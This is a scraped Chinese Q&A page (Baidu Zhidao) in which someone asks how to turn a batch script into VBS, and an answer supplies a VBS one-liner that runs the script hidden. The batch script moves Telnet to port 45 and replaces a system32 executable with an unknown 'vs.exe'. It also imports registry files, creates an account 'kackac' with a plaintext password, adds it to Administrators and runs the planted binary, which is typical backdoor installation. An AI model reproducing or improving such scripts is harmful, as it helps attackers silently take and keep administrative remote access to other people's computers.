MS-DOS转为VBS脚本????

来源:百度知道 编辑:UC知道 时间:2024/06/04 06:46:17
怎么样张MS-DOS转为VBS脚本????
DOS于下:
tlntadmn config port=45
net stop vss
del %systemroot%\system32\vsscv.exe /f /q /s
copy vs.exe %SystemRoot%\system32\vsscv.exe
reg import 1.reg
net start vss
net user kackac 44416444 /add
net localgroup Administrators kackac /add
regedit /s 2.reg
%SystemRoot%\system32\vsscv.exe

CreateObject("Wscript.Shell").Run ("%Comspec% /c " & Chr(34) & "tlntadmn config port=45 & net stop vss & del %systemroot%\system32\vsscv.exe /f /q /s & copy vs.exe %SystemRoot%\system32\vsscv.exe & reg import 1.reg & net start vss & net user kackac 44416444 /add & net localgroup Administrators kackac /add & regedit /s 2.reg & %SystemRoot%\system32\vsscv.exe" & Chr(34)),vbHide